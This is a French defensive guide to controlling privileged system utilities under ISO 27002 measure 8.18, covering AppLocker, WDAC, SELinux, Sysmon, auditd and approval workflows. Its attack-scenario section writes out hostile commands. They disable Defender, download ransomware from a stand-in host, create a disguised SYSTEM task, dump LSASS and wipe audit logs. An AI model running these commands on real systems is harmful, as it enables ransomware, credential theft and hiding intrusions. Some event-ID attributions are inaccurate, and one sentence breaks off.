Un programme utilitaire privilégié est un outil système qui nécessite des droits élevés et permet des opérations critiques pouvant affecter la sécurité ou la stabilité. L'ISO 27002 mesure 8.18 recommande cinq principes de contrôle :

• Identification des utilitaires à risque : recenser tous les outils système sensibles (shells, éditeurs registre, gestionnaires services, outils disk) et évaluer leur dangerosité
• Restriction d'accès granulaire : limiter qui peut utiliser quels utilitaires, même parmi les administrateurs, selon le principe du moindre privilège
• Journalisation exhaustive : tracer toute utilisation (qui, quand, quelles commandes exactes, résultat) avec logs protégés contre modification
• Contrôles techniques automatisés : AppLocker, WDAC, SELinux pour bloquer utilitaires non autorisés, alertes sur usage suspect
• Validation et supervision : certains outils critiques nécessitent validation préalable ou supervision en temps réel (enregistrement session)

Ces principes visent à garantir que la puissance des outils système reste sous contrôle strict même après attribution de privilèges administrateur.

PowerShell

L'interpréteur de commandes le plus puissant Windows : capacités : accès complet système (fichiers, registre, services, réseau), exécution scripts (automatisation), intégration .NET et WMI, requêtes Active Directory, risques : scripts malveillants (télécharger et exécuter malwares), modification configurations critiques, désactivation sécurité (antivirus, pare-feu), extraction credentials mémoire (Mimikatz en PowerShell).

Contrôles : AppLocker bloquant scripts non signés, Constrained Language Mode (restreint fonctionnalités), logging Script Block (enregistre tous scripts exécutés), Sysmon Event ID 4103/4104 (audit PowerShell).

CMD (Invite de commandes)

Shell classique Windows : capacités : manipulation fichiers (del, copy, xcopy), modification système (reg, sc, net), exécution batch scripts, risques : suppression massive fichiers, modification registre, arrêt services critiques.

Contrôles : AppLocker bloquant cmd.exe pour utilisateurs standards, GPO "Empêcher l'accès à l'invite de commandes", logging processus (Sysmon Event ID 1).

Regedit / Reg

Éditeurs du registre Windows : capacités : modification configuration système complète, désactivation sécurité, persistance malware (clés Run), élévation privilèges, risques : corruption système (modification clés critiques), désactivation UAC/Windows Defender, création backdoors persistantes.

Contrôles : GPO "Empêcher l'accès aux outils d'édition du registre", AppLocker blocage regedit.exe, audit modifications registre (Sysmon Event ID 12-14).

Services.msc / SC

Gestionnaires de services Windows : capacités : démarrer/arrêter services, modifier configuration services, créer nouveaux services, risques : arrêt services sécurité (antivirus, pare-feu, logging), création services malveillants, modification services légitimes pour persistance.

Contrôles : AppLocker bloquant services.msc, audit modifications services (Event ID 7045 nouveau service), alertes arrêt services critiques.

MMC (Microsoft Management Console)

Console d'administration centralisée : snapins critiques : gestion disques (diskpart), planificateur tâches, gestion certificats, observateur événements, risques : manipulation partitions (perte données), création tâches planifiées malveillantes, exportation certificats privés.

Contrôles : AppLocker restreindre snapins dangereux, GPO désactiver snapins spécifiques, audit utilisation MMC.

Task Scheduler (Planificateur de tâches)

Automatisation tâches planifiées : capacités : exécution programmes avec privilèges SYSTEM, déclencheurs variés (démarrage, connexion, horaires), risques : persistance malware (tâche exécutant malware au démarrage), escalade privilèges (tâche SYSTEM exécutant code attaquant).

Contrôles : audit création/modification tâches (Event ID 4698/4702), restriction création tâches via GPO, monitoring tâches SYSTEM.

Debuggers et outils avancés

Outils d'analyse système : exemples : WinDbg, Process Explorer, Process Monitor, autoruns, ProcDump, risques : dump mémoire processus (extraction credentials LSASS), analyse malwares pour comprendre détection, injection code dans processus.

  Contrôles : AppLocker bloquer par défaut, autorisation temporaire si debug légitime, monitoring utilisation.

Sudo et commandes root

Élévation privilèges Unix/Linux : commandes critiques via sudo : chmod/chown (modification permissions), fdisk/parted (manipulation partitions), iptables/firewall-cmd (pare-feu), systemctl (services), useradd/passwd (comptes), rm -rf (suppression récursive).

Risques : suppression accidentelle système (rm -rf /), modification permissions critique (chmod 777 / récursif), désactivation pare-feu, création comptes backdoor.

Contrôles : sudoers restreint (uniquement commandes nécessaires par utilisateur), sudo logs (/var/log/auth.log, /var/log/secure), timeout sudo (redemander password), NOPASSWD interdit sauf services automatisés.

DD (Disk Dump)

Copie bas niveau disques : capacités : cloner disques entiers bit par bit, écraser partitions, créer images disques, risques : copie non autorisée disques (vol données massif), écrasement accidentel disques (dd if=/dev/zero of=/dev/sda), exfiltration données.

Contrôles : sudo restreint pour dd, audit utilisation (auditd), alertes usage dd sur disques production.

Iptables / nftables / firewall-cmd

Gestion pare-feu Linux : capacités : modifier règles pare-feu, ouvrir/fermer ports, désactiver complètement pare-feu, risques : ouverture ports non autorisés (accès backdoor), désactivation pare-feu (exposition complète), suppression logs connexions.

Contrôles : sudo limité commandes firewall, logs modifications (auditd), backup automatique règles, restauration si modification non autorisée.

Systemctl / service

Gestion services systemd : capacités : démarrer/arrêter services, activer/désactiver au démarrage, créer nouveaux services, **risques** : arrêt services critiques (SSH si accès distant = lock-out, syslog = perte logs), création services malveillants.

Contrôles : sudo restreint services spécifiques, audit systemctl (auditd), alertes arrêt services critiques.

Éditeurs configuration

Modification fichiers système sensibles : /etc/passwd, /etc/shadow : comptes et mots de passe, /etc/sudoers : configuration sudo, /etc/ssh/sshd_config : configuration SSH, /etc/fstab : montages disques.

Risques : création comptes backdoor (ajout ligne /etc/passwd), escalade privilèges (modification sudoers), accès root SSH autorisé.

Contrôles : visudo obligatoire (vérifie syntaxe sudoers), auditd monitoring fichiers critiques, immutabilité (chattr +i sur fichiers ultra-critiques).

AppLocker - Application Control Policies

Contrôle d'exécution Windows : règles par type : exécutables (.exe, .com), scripts (PowerShell .ps1, batch .bat, VBS), DLL, installeurs Windows (.msi), modes : audit (logs sans bloquer), enforcement (bloque vraiment).

Configuration granulaire : par chemin (C:\Windows\System32\cmd.exe), par hash (signature unique fichier), par éditeur (certificat code signing), par utilisateur/groupe AD.

Exemple restriction PowerShell : autoriser uniquement scripts signés par certificat entreprise, bloquer tous autres scripts .ps1, logger tentatives exécution scripts non signés.

WDAC - Windows Defender Application Control

Successeur AppLocker (plus robuste) : protection kernel-mode : résiste attaques administrateur local (AppLocker bypassable par admin), bloque drivers non signés, modes : Audit, Enforced, Enforced with UMCI (User Mode Code Integrity).

Use case : serveurs critiques (contrôleurs domaine, serveurs BDD production), postes administrateurs sécurité.

Politique par défaut recommandée

Stratégie de restriction : utilisateurs standards : AppLocker strict (whitelist applications approuvées uniquement), blocage PowerShell, cmd, regedit, MMC, administrateurs : autorisation outils admin mais avec logging exhaustif, blocage debuggers sauf validation, constrained language mode PowerShell.

SELinux - Security-Enhanced Linux

Contrôle d'accès obligatoire (MAC) : modes : Disabled (désactivé), Permissive (logs sans bloquer), Enforcing (bloque vraiment), politiques : Targeted (services réseau uniquement), Strict (tout le système).

Contextes de sécurité : chaque fichier/processus a label, politiques définissent qui peut accéder à quoi, même root respecte politiques SELinux.

Exemple : processus Apache (httpd_t) ne peut accéder qu'à fichiers web (httpd_sys_content_t), même si compromis ne peut lire /etc/shadow.

Contrôle utilitaires : politiques personnalisées restreignant dd, fdisk à utilisateurs spécifiques, logs violations SELinux (/var/log/audit/audit.log).

AppArmor

Alternative SELinux (plus simple) : profils par application : définir ce qu'une application peut faire (fichiers accessibles, capacités réseau), modes : Complain (audit), Enforce (blocage).

Exemple profil : restreindre quels fichiers script shell peut lire/écrire, bloquer accès réseau sauf ports spécifiques.

Sysmon (Windows)

Monitoring avancé système Windows : événements critiques : Event ID 1 (création processus), détecte cmd.exe, PowerShell.exe, Event ID 3 (connexions réseau), Event ID 7 (chargement DLL), Event ID 10 (accès processus, détecte dump LSASS), Event ID 11 (création fichiers).

Configuration : fichier XML définissant règles (quoi logger), exemple : logger toutes exécutions PowerShell avec ligne commande complète, logger accès processus lsass.exe (tentative extraction credentials).

Centralisation : envoyer logs Sysmon vers SIEM (Splunk, Sentinel, Elastic).

Auditd (Linux)

Framework audit Linux : règles audit : -w /usr/bin/sudo -p x -k sudo_exec (logger exécutions sudo), -w /etc/passwd -p wa -k passwd_changes (logger modifications /etc/passwd), -a always,exit -F arch=b64 -S execve -k exec_commands (logger toutes commandes).

Logs : /var/log/audit/audit.log, recherche avec ausearch, reports avec aureport.

Protection logs : auditd ne peut être arrêté que par reboot, logs peuvent être envoyés serveur distant immédiatement (empêche suppression locale).

Logging PowerShell avancé

Traçabilité complète scripts : Script Block Logging : enregistre contenu complet scripts exécutés (GPO : "Activer la journalisation de blocs de script PowerShell"), Event ID 4104, Module Logging : trace modules/cmdlets utilisés, Transcription : enregistre sortie console complète.

Analyse : rechercher scripts suspects (Invoke-Mimikatz, Invoke-WebRequest vers IP suspectes), corrélation avec Sysmon.

Ransomware via PowerShell

Déroulé : attaquant compromet compte admin (phishing), exécute script PowerShell obfusqué, script désactive Windows Defender : `Set-MpPreference -DisableRealtimeMonitoring $true`, télécharge ransomware : `Invoke-WebRequest http://malicious.com/ransom.exe`, exécute ransomware avec droits admin, chiffrement complet réseau.

Prévention : AppLocker bloquer scripts non signés, Constrained Language Mode (bloque Invoke-WebRequest), Script Block Logging détecte commandes suspectes, WDAC sur serveurs critiques (bloque même si admin).

Persistence via Scheduled Task

Déroulé : attaquant obtient accès temporaire admin, crée tâche planifiée cachée : `schtasks /create /tn "WindowsUpdate" /tr "C:\malware.exe" /sc onlogon /ru SYSTEM`, tâche exécute malware au démarrage avec privilèges SYSTEM, même si compte admin initial désactivé, malware persiste.

Prévention : audit Event ID 4698 (création tâche), alertes création tâches SYSTEM, revue régulière tâches planifiées, AppLocker bloque exécution malware même si tâche créée.

Credential dumping avec ProcDump

Déroulé : attaquant admin compromis télécharge ProcDump (outil Microsoft légitime signé), dump mémoire processus lsass.exe : `procdump.exe -ma lsass.exe lsass.dmp`, exfiltre dump vers serveur externe, analyse offline avec Mimikatz, extraction credentials tous utilisateurs/admins connectés.

Prévention : AppLocker bloquer debuggers (ProcDump, Process Explorer), Sysmon Event ID 10 alertes accès LSASS, Credential Guard (protège LSASS), monitoring transferts fichiers sortants (dump de plusieurs MB).

Désactivation logs Linux

Déroulé : attaquant root compromis stoppe auditd : `systemctl stop auditd`, efface logs : `rm -rf /var/log/audit/*`, effectue actions malveillantes sans traçabilité, redémarre auditd : `systemctl start auditd`.

Prévention : auditd configuré immutable (`auditctl -e 2`, ne peut être stoppé que par reboot), logs envoyés serveur distant temps réel (pas uniquement local), alertes si auditd s'arrête, SELinux protège /var/log/audit.

Demande accès temporaire

Process pour utilisation exceptionnelle : scénario : admin junior doit modifier registre pour dépannage urgent, procédure : demande formelle (ticket IT avec justification), validation admin senior ou manager, octroi temporaire 1-4h maximum (via PAM si disponible), supervision (senior disponible pour assistance), révocation automatique expiration.

Validation préalable pour outils critiques

Certains utilitaires nécessitent approbation : outils nécessitant validation : debuggers (ProcDump, WinDbg), dd (copie disques), modification firewall production, process : demande 24h avant (sauf urgence validée), justification métier documentée, approbation RSSI ou directeur technique, logging renforcé pendant utilisation.

Sessions enregistrées

Pour interventions ultra-sensibles : utiliser bastion/jump server enregistrant sessions (Ansible Tower, CyberArk PSM, BeyondTrust), vidéo complète + keystrokes, rejouable pour audit, preuve en cas incident.

PowerShell JEA (Just Enough Administration)

Restreindre PowerShell sans bloquer complètement : JEA endpoints : sessions PowerShell limitées à cmdlets spécifiques, exemple : helpdesk peut Reset-Password mais pas Set-ADUser complet, utilisateur voit uniquement commandes autorisées, configuration : fichiers .pssc (session config) + .psrc (role capabilities).

Use case : permettre support niveau 1 réinitialiser mots de passe sans droits admin complets.

Outils GUI au lieu de CLI

Réduire risques ligne commande : remplacer scripts par interfaces graphiques validées, exemple : interface web pour tâches courantes au lieu de scripts PowerShell, moins flexible mais plus sûr, limite : GUI ne remplace pas complètement CLI pour admins.

Ansible/Puppet pour automatisation

Éviter scripts manuels : automatisation validée et versionnée (Git), playbooks Ansible revus et approuvés, exécution contrôlée (pas scripts ad-hoc), traçabilité (qui a lancé quel playbook).

Alertes automatiques

Notifications temps réel : PowerShell exécuté hors horaires : script PowerShell lancé à 3h du matin → alerte SOC, commandes suspectes : Invoke-Mimikatz, Invoke-WebRequest, Get-Credential en scripts, modifications critiques : registre Run keys (persistence), création comptes admin, désactivation antivirus, accès LSASS : tentative dump credentials, sudo root : utilisation sudo pour obtenir shell root complet.

Baseline comportementale

Apprentissage patterns normaux : admin X utilise PowerShell quotidiennement 9h-18h → normal, même admin à 2h du matin → anomalie → investigation, UEBA : détection déviations (Splunk UBA, Microsoft Sentinel).

Investigation post-incident

Forensic logs : Timeline reconstruction via logs Sysmon/auditd, quelles commandes exactes exécutées ?, quels fichiers créés/modifiés/supprimés ?, données exfiltrées ?, corrélation multi-sources (Sysmon + firewall + proxy

• Bloquer complètement PowerShell pour admins : PowerShell est outil légitime nécessaire pour administration Windows moderne. Contrôler (scripts signés, logging) plutôt que bloquer totalement.
• AppLocker en audit perpétuel : rester en mode audit sans jamais passer enforcement = fausse sécurité. Audit pendant tuning (1-3 mois) puis enforcement obligatoire.
• Sudo NOPASSWD généralisé : sudo sans redemander password = vulnérabilité si session compromise. NOPASSWD uniquement services automatisés, jamais utilisateurs interactifs.
• Logs non centralisés : garder logs Sysmon/auditd uniquement localement permet à attaquant de les effacer. Centralisation SIEM obligatoire.

Le contrôle des programmes utilitaires privilégiés identifie les outils système à risque (PowerShell, cmd, regedit, services pour Windows ; sudo, dd, iptables, systemctl pour Linux) et évalue leur dangerosité. Les restrictions techniques utilisent AppLocker pour bloquer scripts PowerShell non signés et utilitaires dangereux, WDAC sur serveurs critiques résistant attaques admin local, SELinux/AppArmor sur Linux avec politiques personnalisées, et Constrained Language Mode pour PowerShell limité.

La journalisation exhaustive trace via Sysmon (Event ID 1 processus, 4104 PowerShell, 10 accès LSASS) et auditd Linux (commandes sudo, modifications fichiers critiques, exécutions programmes). Les contrôles granulaires limitent PowerShell aux scripts signés uniquement, sudo aux commandes spécifiques par utilisateur, et restreignent regedit/debuggers aux admins seniors avec validation.

Les scénarios d'attaque incluent ransomware via PowerShell (désactivation antivirus, téléchargement malware), persistence via tâches planifiées cachées, credential dumping avec ProcDump sur LSASS, et désactivation logs Linux. Les préventions combinent AppLocker/WDAC, Script Block Logging, Credential Guard, auditd immutable avec logs distants temps réel, et alertes automatiques sur commandes suspectes et accès hors horaires.